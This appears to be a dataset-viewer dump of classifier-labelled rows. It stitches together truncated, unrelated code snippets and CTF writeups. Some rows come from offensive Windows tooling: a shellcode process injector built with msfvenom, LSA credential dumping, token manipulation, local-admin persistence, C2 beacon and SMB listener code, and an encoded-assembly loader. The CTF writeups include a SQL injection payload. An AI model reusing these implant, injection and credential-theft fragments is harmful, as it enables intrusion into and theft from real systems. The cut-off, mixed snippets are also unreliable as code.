content stringlengths 263 5.24M | pred_label stringclasses 1
value | pred_score_pos float64 0.6 1 |
|---|---|---|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
using System.Text;
using System.ServiceProcess;
namespace TellMeYourSecrets
{
class Services : Base
{
private ServiceController service;
private String serviceName;
private UInt32 ProcessId;
... | __label__POS | 0.927036 |
using System;
////////////////////////////////////////////////////////////////////////////////
// https://github.com/clymb3r/PowerShell/blob/master/Invoke-TokenManipulation/Invoke-TokenManipulation.ps1
////////////////////////////////////////////////////////////////////////////////
namespace Tokenvator
{
class Pr... | __label__POS | 0.98509 |
using System;
using System.Runtime.InteropServices;
using System.Text;
using Tokenvator.Resources;
using MonkeyWorks.Unmanaged.Headers;
using MonkeyWorks.Unmanaged.Libraries;
namespace Tokenvator.Plugins.Execution
{
static class CreateProcess
{
///////////////////////////////////////////////////////... | __label__POS | 0.907829 |
using System;
using System.Collections.Generic;
using System.Management;
using System.ServiceProcess;
namespace Tokenvator.Plugins.Execution
{
class Services
{
private ServiceController service;
private string serviceName;
private uint ProcessId;
//////////////////////////////... | __label__POS | 0.831026 |
# Good WAF
> WAFs cannot detect parameters filled with opaque data such as base64. Consequently, We've tuned our WAF to be more strong checking these inputs.
> Note : in order to find login endpoint, do not use brute-force,or guessing, they won't work.
> Hint : base64(jsonobject)
> https://ctftime.org/writeup/9888
... | __label__POS | 0.608932 |
//http://www.codingvision.net/miscellaneous/c-inject-a-dll-into-a-process-w-createremotethread
using System;
using System.Management;
using Tokenvator;
namespace WheresMyImplant
{
public sealed class Injection
{
//msfvenom -p windows/x64/exec --format csharp CMD=calc.exe
public static void I... | __label__POS | 0.732949 |
using System;
using System.IO;
using System.Management.Instrumentation;
using System.Reflection;
using System.Runtime.InteropServices;
namespace WheresMyImplant
{
[ComVisible(true)]
[ManagementEntity(Name = "Win32_Implant")]
public sealed class Implant
{
[ManagementTask]
public static ... | __label__POS | 0.870419 |
using System;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace WheresMyImplant
{
public sealed class Run
{
////////////////////////////////////////////////////////////////////////////////
... | __label__POS | 0.93354 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
using DomainInfo;
using MonkeyWorks.Unmanaged.Libraries;
namespace WheresMyImplant
{
class Recon
{
public static void DomainControllers(String ip, String domain, String username, String password)
{
... | __label__POS | 0.921132 |
# keygen-me-1
Constraints:
1. Code must be 16 chars long
2. Only digits and uppercase letters are allowed
3. Last character is a checksum
Since there are only 36 possible checksums, we can test all possible values.
[brute force checksum](solve1.py)
```
$ ./solve1.py THISWASEASYCHAL
THISWASEASYCHALT
```
```
pico-20... | __label__POS | 0.669942 |
using System;
using Tokenvator;
namespace WheresMyImplant
{
public sealed class Credentials
{
//Checked
public static void DumpLSA()
{
try
{
CheckPrivileges checkSystem = new CheckPrivileges();
if (!checkSystem.GetSystem())
... | __label__POS | 0.752309 |
using System;
namespace WheresMyImplant
{
public sealed class Persistence
{
public static void AddLocalUser(String username, String password, String admin)
{
if (!Boolean.TryParse(admin, out Boolean bAdmin))
{
Console.WriteLine("Unable to parse wait para... | __label__POS | 0.874114 |
# be-quick-or-be-dead-1
Our goal in this challenge is to calculate key in a faster way. We don't have to analyze the decryption itself.
When we look at `calculate_key` function we can see that it's a simple loop and the final iterator is a key.
We can patch the application to immediately return the correct key - `37... | __label__POS | 0.932268 |
using System;
using Empire;
namespace WheresMyImplant
{
public class C2
{
//FormalChicken
public static void StartSmbServer(String pipeName)
{
Console.WriteLine("Starting SMB Server");
while (true)
{
using (SMBServer smbServer = new ... | __label__POS | 0.995508 |
using System;
using System.IO;
using System.Globalization;
using System.Security.Cryptography;
using System.Xml;
namespace WheresMyImplant
{
class WirelessProfiles : Base
{
String[] interfaces;
////////////////////////////////////////////////////////////////////////////////
//
... | __label__POS | 0.738495 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Sockets;
namespace WheresMyImplant
{
abstract class SMB : Base, IDisposable
{
protected TcpClient smbClient;
protected NetworkStream streamSocket;
protected String system;
protected Byte[] reci... | __label__POS | 0.910098 |
#include <stdio.h>
#include <stdlib.h>
int main()
{
int con;
con = 0;
int account_balance = 1100;
while(con == 0){
printf("Welcome to the Store App V1.0\n");
printf("World's Most Secure Purchasing App\n");
printf("\n[1] Check Account Balance\n");
printf("\n[2] B... | __label__POS | 0.978902 |
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <limits.h>
#define MAX_NUM_LEN 12
#define HOTSTREAK 3
#define MAX_WINS 16
#define ONE_BILLION 1000000000
#define ROULETTE_SIZE 36
#define ROULETTE_SPINS 128
#define ROULETTE_SLOWS 16
#define NUM_WIN_MSGS 10
#defin... | __label__POS | 0.614396 |
# Dog or Frog
> Dressing up dogs are kinda the new thing, see if you can get this lovely girl ready for her costume party. Dog Or Frog
Hints:
> This really is a ML problem, read the hints in the problem for more details..
This was one of the most difficult challenges for me. When I noticed that we have model and so... | __label__POS | 0.993044 |
# weirderRSA
> Another message encrypted with RSA. It looks like some parameters are missing. Can you still decrypt it? Message
Hints:
> Is there some way to create a multiple of p given the values you have?
> Fermat's Little Theorem may be helpful.
I really liked this challenge. It wasn't easy, but it didn't requ... | __label__POS | 0.658358 |
using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;
namespace WheresMyImplant
{
internal class CheckCreditCard
{
const string ccPattern = @"(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1... | __label__POS | 0.994568 |
using System;
using System.Collections.Generic;
using System.Management;
using System.ServiceProcess;
namespace Resources
{
class Services
{
private ServiceController service;
private String serviceName;
private UInt32 ProcessId;
///////////////////////////////////////////////... | __label__POS | 0.851097 |
using System;
using System.Data;
using System.Data.SqlClient;
using System.Text;
namespace WheresMyImplant
{
internal abstract class BaseSQL : Base
{
protected string connectionString;
////////////////////////////////////////////////////////////////////////////////
internal BaseSQL(st... | __label__POS | 0.794726 |
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.Text;
namespace WheresMyImplant
{
internal abstract class Base
{
/*
protected StringBuilder stringBuilder = new StringBuilder();
protected void WriteOutput(string output)
{
... | __label__POS | 0.845552 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.ServiceModel;
using System.ServiceModel.Description;
using System.Reflection;
namespace WheresMyImplant
{
[ServiceContract]
interface IServiceEndpoint
{
[OperationContract]
String Pong(String... | __label__POS | 0.692556 |
using System;
using System.Collections.Generic;
using System.Net;
namespace WheresMyImplant
{
class WebClientBeacon : IDisposable
{
private WebClient webClient;
private String userAgent;
private String session;
private Dictionary<String,String> additionalHeaders = new Dictiona... | __label__POS | 0.870694 |
using System;
using System.Reflection;
using System.ServiceModel;
using System.Threading;
namespace WheresMyImplant
{
[ServiceContract]
interface IServiceBeaconEndpoint
{
[OperationContract]
String Checkin(String uuid);
[OperationContract]
String TaskingRequest(String uuid... | __label__POS | 0.986184 |
# looooong
> I heard you have some "delusions of grandeur" about your typing speed. How fast can you go at shell2017.picoctf.com:51091?
Hints:
> Use the nc command to connect!
> I hear python is a good means (among many) to generate the needed input.
> It might help to have multiple windows open
If it comes to so... | __label__POS | 0.872337 |
# TW_GR_E2_EoTDS
> Given the relative success of the first release, it was no surprise that a second installment in the TW:GR series was released. I can't beat this one either, though... those darn spatulas put an induction cooktop in the floor so I can't get to the flag! Can you get it for me? You can play the game h... | __label__POS | 0.864621 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.DirectoryServices;
namespace DomainInfo
{
class ServicePrincipalName : DomainUsers
{
private const String USERFILTER = "(servicePrincipalName=*)";
private const String COMPUTERFILTER = "(&(objec... | __label__POS | 0.73275 |
# Guess The Number
> Just a simple number-guessing game. How hard could it be? Binary Source. Connect on shell2017.picoctf.com:20545.
Hints:
> What is the program doing with your input number?
> strtol checks for overflow, but it does allow negative numbers...
We can notice that the program jumps to the address we... | __label__POS | 0.771023 |
# Connect The Wigle
> Identify the data contained within wigle and determine how to visualize it.
Hints:
> Perhaps they've been storing data in a database. How do we access the information?
> How can we visualize this data? Maybe we just need to take a step back to get the big picture?
> Try zero in the first word... | __label__POS | 0.703824 |
# Holey beep
*For this task we need the exploit from previous challenge*
What we need to do is to cat `/secret_cake_recipe/`, but the file is only readable by an admin(1338) while we are user(1337).
To gain higher privileges we need to exploit holey_beep application which is again setuid binary.
We got holey_beep bi... | __label__POS | 0.638167 |
'use strict';
/** @type {!Array} */
var _0x5a46 = ["55670}", "_again_0", "this", "Password Verified", "Incorrect password", "getElementById", "value", "substring", "picoCTF{", "not_this"];
(function(data, i) {
/**
* @param {number} isLE
* @return {undefined}
*/
var write = function(isLE) {
for (; --isL... | __label__POS | 0.981846 |
# Empire1
Once you create an account, you can add a todo. After trying multiple payloads, you can see that the application is vulnerable to SQL injection.
First, let's list all tables:
```
'||(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||'
```
Result:
```
us... | __label__POS | 0.995466 |
#!/usr/bin/env python3
from collections import deque
import sys
def toBytes(cols,key):
ret = b""
for i in range(len(cols)):
cols[i].rotate(-int(key[2*i:2*i+2]))
for i in range(len(cols[0])*16):
ret += bytes([cols[i%16][i//16]])
return ret
def bruteForceKey(cols):
PNG_HEADER = b"\x89PNG\x0d\x0a\x1a\x0a\x00\x00\... | __label__POS | 0.928262 |
#!/usr/bin/env python3
import string
from Cryptodome.Util.number import bytes_to_long
def getVal(byte):
idx = byte>>3
a = idx
idx2 = 0
idx2 = idx2 >> 29
idx = byte
idx += idx2
idx &= 7
idx -= idx2
b = idx
kc = key[a]
r=7-b
return (kc>>r)&1
data = [8,0,0x0C,8, 0x0E, 0x14, 0x0A, 0x22, 4, 0x2C, 0x0C, 0x30, 0x0... | __label__POS | 0.663946 |
.class public Lcom/hellocmu/picoctf/FlagstaffHill;
.super Ljava/lang/Object;
.source "FlagstaffHill.java"
# direct methods
.method public constructor <init>()V
.locals 0
.line 6
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
.method public static native cilantro(Ljava/lan... | __label__POS | 0.800146 |
package com.hellocmu.picoctf;
import android.content.Context;
public class FlagstaffHill {
public static native String cardamom(String str);
public static String getFlag(String input, Context ctx) {
String str = "aaa";
StringBuilder ace = new StringBuilder(str);
StringBuilder jack = n... | __label__POS | 0.998399 |
# droids0
Run [the app](zero.apk) in android studio, click the button and check `logcat` output.
Flag: `picoCTF{a.moose.once.bit.my.sister}`
# droids1
Use [this website](http://www.javadecompilers.com/apk/) to decompile the app.
In [resources/res/values/strings.xml](strings1.xml) you can find the password - `oposs... | __label__POS | 0.996714 |
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <stdbool.h>
#define DATA_START 11
struct Op{
int type;
long long int value;
};
int getLength(long long int number)
{
if(number==0)
{
return 1;
}
int count = (number < 0);
while(number!=0)
{
count... | __label__POS | 0.882452 |
import java.util.*;
class VaultDoor4 {
public static void main(String args[]) {
VaultDoor4 vaultDoor = new VaultDoor4();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("pico... | __label__POS | 0.901479 |
import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.security.*;
class VaultDoor7 {
public static void main(String args[]) {
VaultDoor7 vaultDoor = new VaultDoor7();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault passwo... | __label__POS | 0.795002 |
import java.util.*;
class VaultDoor6 {
public static void main(String args[]) {
VaultDoor6 vaultDoor = new VaultDoor6();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("pico... | __label__POS | 0.978578 |
#include <stdio.h>
#include <stdlib.h>
int main()
{
setbuf(stdout, NULL);
int con;
con = 0;
int account_balance = 1100;
while(con == 0){
printf("Welcome to the flag exchange\n");
printf("We sell flags\n");
printf("\n1. Check Account Balance\n");
printf("\n2.... | __label__POS | 0.638601 |
package net.bierbaumer.otp_authenticator;
import android.content.Context;
import android.os.Build;
import org.json.JSONArray;
import org.json.JSONException;
import java.io.File;
import java.util.ArrayList;
import javax.crypto.SecretKey;
import static net.bierbaumer.otp_authenticator.Utils.readFully;
import static ... | __label__POS | 0.940217 |
package net.bierbaumer.otp_authenticator;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
public class TOTPHelper {
public static final String SHA1 = "HmacSHA1";
public static String generate(byte[] secret) {
return String.format("%06d", generate(secret, System.currentTimeMillis() /... | __label__POS | 0.983567 |
package net.bierbaumer.otp_authenticator;
import android.net.Uri;
import org.apache.commons.codec.binary.Base32;
import org.json.JSONException;
import org.json.JSONObject;
import java.net.URL;
import java.util.Arrays;
public class Entry {
public static final String JSON_SECRET = "secret";
public static fina... | __label__POS | 0.737693 |
package net.bierbaumer.otp_authenticator;
import android.content.ClipData;
import android.graphics.Color;
import android.view.DragEvent;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget... | __label__POS | 0.699069 |
#include "kernel/types.h"
#include "kernel/x86.h"
#include <stddef.h>
void* memset2(void *dst, int c, uint n)
{
if ((int)dst%4 == 0 && n%4 == 0){
c &= 0xFF;
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
} else
stosb(dst, c, n);
return dst;
}
int memcmp(const void *v1, const void *v2, uint n)
{
const ... | __label__POS | 0.987914 |
#include "userland/libs/std.h"
#include "kernel/syscall.h"
// #include <stdint.h>
// #include <unistd.h>
#include <stddef.h>
int write(int fd, char *buf, uint32_t count) {
int sysno = SYS_write;
int result;
asm volatile(
"mov eax, %1\n"
"push %2\n"
"push %3\n"
"push %4\n"... | __label__POS | 0.958551 |
#include "kernel/gfx/gfx_math.h"
#include <stddef.h>
#include <math.h>
void swap(void* a, void* b, size_t size) {
unsigned char* p = a, * q = b, tmp;
for (size_t i = 0; i < size; i++) {
tmp = p[i];
p[i] = q[i];
q[i] = tmp;
}
}
int partition(void* base, size_t size, int low, int hig... | __label__POS | 0.891946 |
#include "nuklear.h"
#include "nuklear_internal.h"
/* ===============================================================
*
* STRING
*
* ===============================================================*/
#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR
NK_API void
nk_str_init_default(struct nk_str *str)... | __label__POS | 0.797853 |
#include "nuklear.h"
#include "nuklear_internal.h"
/* ===============================================================
*
* UTF-8
*
* ===============================================================*/
NK_GLOBAL const nk_byte nk_utfbyte[NK_UTF_SIZE+1] = {0x80, 0, 0xC0, 0xE0, 0xF0};
NK_GLOB... | __label__POS | 0.949691 |
var leftpad = require('leftpad');
var web3utils = require('web3-utils');
module.exports = {
stringToSolidityBytes32(string)
{
var result = "0x";
var i = 0;
for(i=0;i<32;i++)
{
if(string.length > i)
{
result += string.charCodeAt(i).toString(16)
}else {
result += "00"
}
}
... | __label__POS | 0.95229 |
the smaller the cycle count in the front, the faster the implementation.
~~~~~~~~~~~Geometic Means of cycles of each impl over 10 archs (to copy into your lib) ~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~fiat_secp256k1_dettman_square~~~~~~~~~~~~~~~~~~~~~
18808.8191 -- ./seed0000000164663271_ratio12077.asm
1... | __label__POS | 0.90598 |
the smaller the cycle count in the front, the faster the implementation.
~~~~~~~~~~~Geometic Means of cycles of each impl over 9 archs (to copy into your lib) ~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~fiat_bls12_381_q_square~~~~~~~~~~~~~~~~~~~~~
28431.7259 -- ./seed0000000597540193_ratio20577.asm
29373.1... | __label__POS | 0.922004 |
//
// DPIManagerUITests.swift
// DPIManagerUITests
//
// Created by Harsh on 14/07/25.
//
import XCTest
final class DPIManagerUITests: XCTestCase {
override func setUpWithError() throws {
// Put setup code here. This method is called before the invocation of each test method in the class.
// ... | __label__POS | 0.601113 |
export function deleteFields(obj, fields) {
if (Array.isArray(obj)) {
for (let i = 0; i < obj.length; i++) {
deleteFields(obj[i], fields);
}
} else if (typeof obj === 'object' && obj !== null) {
for (let field of fields) {
delete obj[field];
}
for ... | __label__POS | 0.900783 |
-------------------------------------------------------------------------------
-- Premade Groups Filter
-------------------------------------------------------------------------------
-- Copyright (C) 2025 Bernhard Saumweber
--
-- This program is free software; you can redistribute it and/or modify
-- it under the ter... | __label__POS | 0.967797 |
-------------------------------------------------------------------------------
-- Premade Groups Filter
-------------------------------------------------------------------------------
-- Copyright (C) 2025 Bernhard Saumweber
--
-- This program is free software; you can redistribute it and/or modify
-- it under the ter... | __label__POS | 0.770234 |
using System;
using System.Reflection;
using System.IO;
using System.IO.Compression;
public class CLASS_NAME
{
public static void Main()
{
string guid = "GUID";
string psk = "PSK";
string urls = "URLS";
string b64 = "BASE64_ENCODED_ASSEMBLY";
string[] args = new string[... | __label__POS | 0.969773 |
--#-package:045bf120# -- package signature --
-- Any Lua files that depend on this file must have higher package numbers.
-- The following code is used to test the building_style functions.
-- It also serves as examples of their use.
function null45_array_tostring(t)
return table.concat(t, ", ")
end
function null4... | __label__POS | 0.924005 |
package ca.fuwafuwa.kaku;
import android.util.Xml;
import com.atilika.kuromoji.ipadic.Token;
import com.atilika.kuromoji.ipadic.Tokenizer;
import org.junit.Test;
import java.util.List;
import ca.fuwafuwa.kaku.Deinflictor.PosMap;
/**
* To work on unit tests, switch the Test Artifact in the Build Variants view.
*/... | __label__POS | 0.95986 |
package ca.fuwafuwa.kaku;
import android.os.Handler;
import android.os.Message;
import android.util.Log;
import android.widget.Toast;
import ca.fuwafuwa.kaku.Ocr.OcrResult;
import ca.fuwafuwa.kaku.Windows.InformationWindow;
import ca.fuwafuwa.kaku.Windows.InstantKanjiWindow;
import ca.fuwafuwa.kaku.Windows.WindowCoor... | __label__POS | 0.674247 |
package ca.fuwafuwa.kaku
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import androidx.fragment.app.Fragment
import androidx.fragment.app.FragmentManager
import androidx.fragment.app.FragmentStatePagerAdapter
import ca.fuwafuwa.kaku.databinding.ActivityTutorialBinding
class TutorialActivity... | __label__POS | 0.642846 |
import UIKit
prefix operator | {}
prefix operator |- {}
postfix operator -| {}
postfix operator | {}
public prefix func |(view: [UIView]) -> [VFLConstraint] {
if view.count == 0 {
assert(false, "You should specify a view")
}
let superview = Superview(mode: .Head)
let constraint = SuperviewCo... | __label__POS | 0.945013 |
package burp;
public class HexDumpUtil {
public static String xxdStyle(byte[] data) {
StringBuilder result = new StringBuilder();
StringBuilder hex = new StringBuilder();
StringBuilder ascii = new StringBuilder();
for (int i = 0; i < data.length; i++) {
// Print... | __label__POS | 0.605882 |
import UIKit
import XCTest
import VFLToolbox
class Measurements: XCTestCase {
let view1 = UIView(),
view2 = UIView(),
view3 = UIView(),
view4 = UIView(),
view5 = UIView(),
superview = UIView()
let metric1 = 1,
metric2 = 2,
metric3 = 3,
metric4 = ... | __label__POS | 0.716801 |
package ca.fuwafuwa.kaku.Deinflictor
/**
* A RuleGroup is composed of multiple rules that share the same [DeinflectionRule.from] length
*
* @property rules List containing the rules in the RuleGroup
* @property fromLength The [DeinflectionRule.from] length of the RuleGroup
*/
class DeinflectionRuleGroup
{
val... | __label__POS | 0.694773 |
package ca.fuwafuwa.kaku.XmlParsers;
import android.content.Context;
import android.util.Log;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
import java.io.IOException;
import java.util.HashMap;
import ca.fuwafuwa.kaku.Database.JmDictDatabase.JmDatabaseHelper;
import ca.fuwafuwa.... | __label__POS | 0.989741 |
package ca.fuwafuwa.kaku.Windows.Views;
import android.content.Context;
import androidx.core.view.GestureDetectorCompat;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.widget.RelativeLayout;
import ca.fuwafuwa.kaku.Windows.Interfaces.WindowListener;
/**
* Created by 0xbad1d3a5 on ... | __label__POS | 0.95639 |
package ca.fuwafuwa.kaku.Windows.Views;
import android.annotation.SuppressLint;
import android.content.Context;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.View;
import android.widget.ImageView;
import android.widget.RelativeLayout;
import ca.fuwafuwa.kaku.KakuTools;
import ... | __label__POS | 0.797238 |
package ca.fuwafuwa.kaku.Windows.Views
import android.content.Context
import android.graphics.drawable.Drawable
import android.util.AttributeSet
import android.util.Log
import android.widget.ImageView
import ca.fuwafuwa.kaku.*
/**
* Created by 0xbad1d3a5 on 1/11/2017.
*/
class KanjiImageView : ImageView
{
pri... | __label__POS | 0.864549 |
package ca.fuwafuwa.kaku.Windows.Views;
import android.content.Context;
import androidx.core.view.GestureDetectorCompat;
import android.util.AttributeSet;
import android.view.GestureDetector;
import android.view.MotionEvent;
import android.widget.LinearLayout;
import ca.fuwafuwa.kaku.Windows.Interfaces.WindowListener... | __label__POS | 0.938489 |
package ca.fuwafuwa.kaku.Windows.Views;
import android.content.Context;
import android.graphics.Bitmap;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.widget.ImageView;
import android.widget.TextView;
import java.util.ArrayList;
import java.util.List;
import ca.fuwafuwa.kaku.KakuTo... | __label__POS | 0.802994 |
package ca.fuwafuwa.kaku.Windows.Views;
import android.annotation.SuppressLint;
import android.content.Context;
import android.provider.Settings;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.InputMethodManager;
import androi... | __label__POS | 0.617766 |
package ca.fuwafuwa.kaku.Windows.Data
interface ISquareChar
{
var index: Int
var char: String
var text: String?
var prev: ISquareChar?
var next: ISquareChar?
var userTouched: Boolean
val displayData: DisplayData
fun clone() : ISquareChar
}
open class SquareChar(override val disp... | __label__POS | 0.730504 |
package ca.fuwafuwa.kaku.Windows.Data
import android.graphics.Bitmap
import ca.fuwafuwa.kaku.Ocr.BoxParams
import ca.fuwafuwa.kaku.splitTextByChar
open class DisplayData(var squareChars: List<ISquareChar>)
{
open var instantMode = false
val text: String
get()
{
val sb = StringBuil... | __label__POS | 0.785015 |
<!DOCTYPE html ><html lang="en-US"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="shortcut icon" href="../icons/favicon.ico" /><link rel="stylesheet" href="../css/bulma.css" /><link rel="stylesheet" href="../css/font-awesome.min.css" /><link rel="styleshe... | __label__POS | 0.748637 |
package ca.fuwafuwa.kaku.Database.KanjiDict2Database;
import android.content.Context;
import android.database.sqlite.SQLiteDatabase;
import com.j256.ormlite.dao.Dao;
import com.j256.ormlite.support.ConnectionSource;
import com.j256.ormlite.table.TableUtils;
import java.sql.SQLException;
import ca.fuwafuwa.kaku.Cons... | __label__POS | 0.953196 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
import ca.fuwafuwa.kaku.KakuTools;
/**
* Created by 0xbad1d3a5 on 7/25/2016.
*/
@DatabaseTable
public class ReadingRestrictio... | __label__POS | 0.843997 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
import ca.fuwafuwa.kaku.KakuTools;
/**
* Created by 0xbad1d3a5 on 7/25/2016.
*/
@DatabaseTable
public class MeaningCrossRefer... | __label__POS | 0.839277 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.dao.ForeignCollection;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.field.ForeignCollectionField;
import com.j256.ormlite.table.DatabaseTable;
import ca.fuwafuwa.kaku.Kak... | __label__POS | 0.726816 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
import ca.fuwafuwa.kaku.KakuTools;
/**
* Created by 0xbad1d3a5 on 7/25/2016.
*/
@DatabaseTable
public class KanjiIrregularity... | __label__POS | 0.829914 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
import ca.fuwafuwa.kaku.KakuTools;
/**
* Created by 0xbad1d3a5 on 7/25/2016.
*/
@DatabaseTable
public class MeaningReadingRes... | __label__POS | 0.84978 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
import ca.fuwafuwa.kaku.KakuTools;
/**
* Created by 0xbad1d3a5 on 7/25/2016.
*/
@DatabaseTable
public class ReadingPriority {... | __label__POS | 0.860322 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
import ca.fuwafuwa.kaku.KakuTools;
/**
* Created by 0xbad1d3a5 on 7/25/2016.
*/
@DatabaseTable
public class ReadingIrregulari... | __label__POS | 0.869879 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
import ca.fuwafuwa.kaku.KakuTools;
/**
* Created by 0xbad1d3a5 on 7/25/2016.
*/
@DatabaseTable
public class MeaningKanjiRestr... | __label__POS | 0.850661 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.field.DataType;
import com.j256.ormlite.field.DatabaseField;
/**
* Created by 0xbad1d3a5 on 12/1/2016.
*/
public class EntryOptimized implements Comparable<EntryOptimized> {
@Expose(seri... | __label__POS | 0.852331 |
<!DOCTYPE html ><html lang="en-US"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="shortcut icon" href="../icons/favicon.ico" /><link rel="stylesheet" href="../css/bulma.css" /><link rel="stylesheet" href="../css/font-awesome.min.css" /><link rel="styleshe... | __label__POS | 0.617692 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.dao.ForeignCollection;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.field.ForeignCollectionField;
import com.j256.ormlite.table.DatabaseTable;
import ca.fuwafuwa.kaku.Kak... | __label__POS | 0.729357 |
package ca.fuwafuwa.kaku.Database.JmDictDatabase.Models;
import com.google.gson.annotations.Expose;
import com.j256.ormlite.field.DatabaseField;
import com.j256.ormlite.table.DatabaseTable;
import ca.fuwafuwa.kaku.KakuTools;
/**
* Created by 0xbad1d3a5 on 7/25/2016.
*/
@DatabaseTable
public class MeaningAdditional... | __label__POS | 0.840202 |
<!DOCTYPE html ><html lang="en-US"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="shortcut icon" href="../icons/favicon.ico" /><link rel="stylesheet" href="../css/bulma.css" /><link rel="stylesheet" href="../css/font-awesome.min.css" /><link rel="styleshe... | __label__POS | 0.690121 |
package ca.fuwafuwa.kaku.XmlParsers.KanjiDict2;
/**
* Created by 0xbad1d3a5 on 11/30/2016.
*/
public class Kd2Consts {
// Elements
public static final String KANJIDIC2 = "kanjidic2";
public static final String HEADER = "header";
public static final String FILE_VERSION = "file_version";
public s... | __label__POS | 1.00001 |
package ca.fuwafuwa.kaku.XmlParsers.JmDict;
/**
* Created by 0xbad1d3a5 on 4/25/2016.
*/
public class JmConsts {
// Elements
public static final String JMDICT = "JMdict";
public static final String ENTRY = "entry";
public static final String ENT_SEQ = "ent_seq";
public static final String K_ELE ... | __label__POS | 1.000009 |
package ca.fuwafuwa.kaku.XmlParsers.KanjiDict2.Kd2DTO;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import ca.fuwafuwa.kaku.XmlParsers.KanjiDict2.Kd2Consts;
/**
* Created by 0xbad1d3a5 on 12/1/2016.... | __label__POS | 0.999345 |
package ca.fuwafuwa.kaku.XmlParsers.KanjiDict2.Kd2DTO;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import ca.fuwafuwa.kaku.XmlParsers.CommonParser;
import ca.fuwafuwa.kaku.XmlParsers.KanjiDict2.Kd2Co... | __label__POS | 0.907322 |
<!DOCTYPE html ><html lang="en-US"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="shortcut icon" href="../icons/favicon.ico" /><link rel="stylesheet" href="../css/bulma.css" /><link rel="stylesheet" href="../css/font-awesome.min.css" /><link rel="styleshe... | __label__POS | 0.602695 |
package ca.fuwafuwa.kaku.XmlParsers.KanjiDict2.Kd2DTO;
//import junit.framework.Assert;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
import java.io.IOException;
import java.util.HashMap;
import ca.fuwafuwa.kaku.XmlParsers.CommonParser;
import ca.fuwafuwa.kaku.XmlParsers.KanjiDi... | __label__POS | 0.745174 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.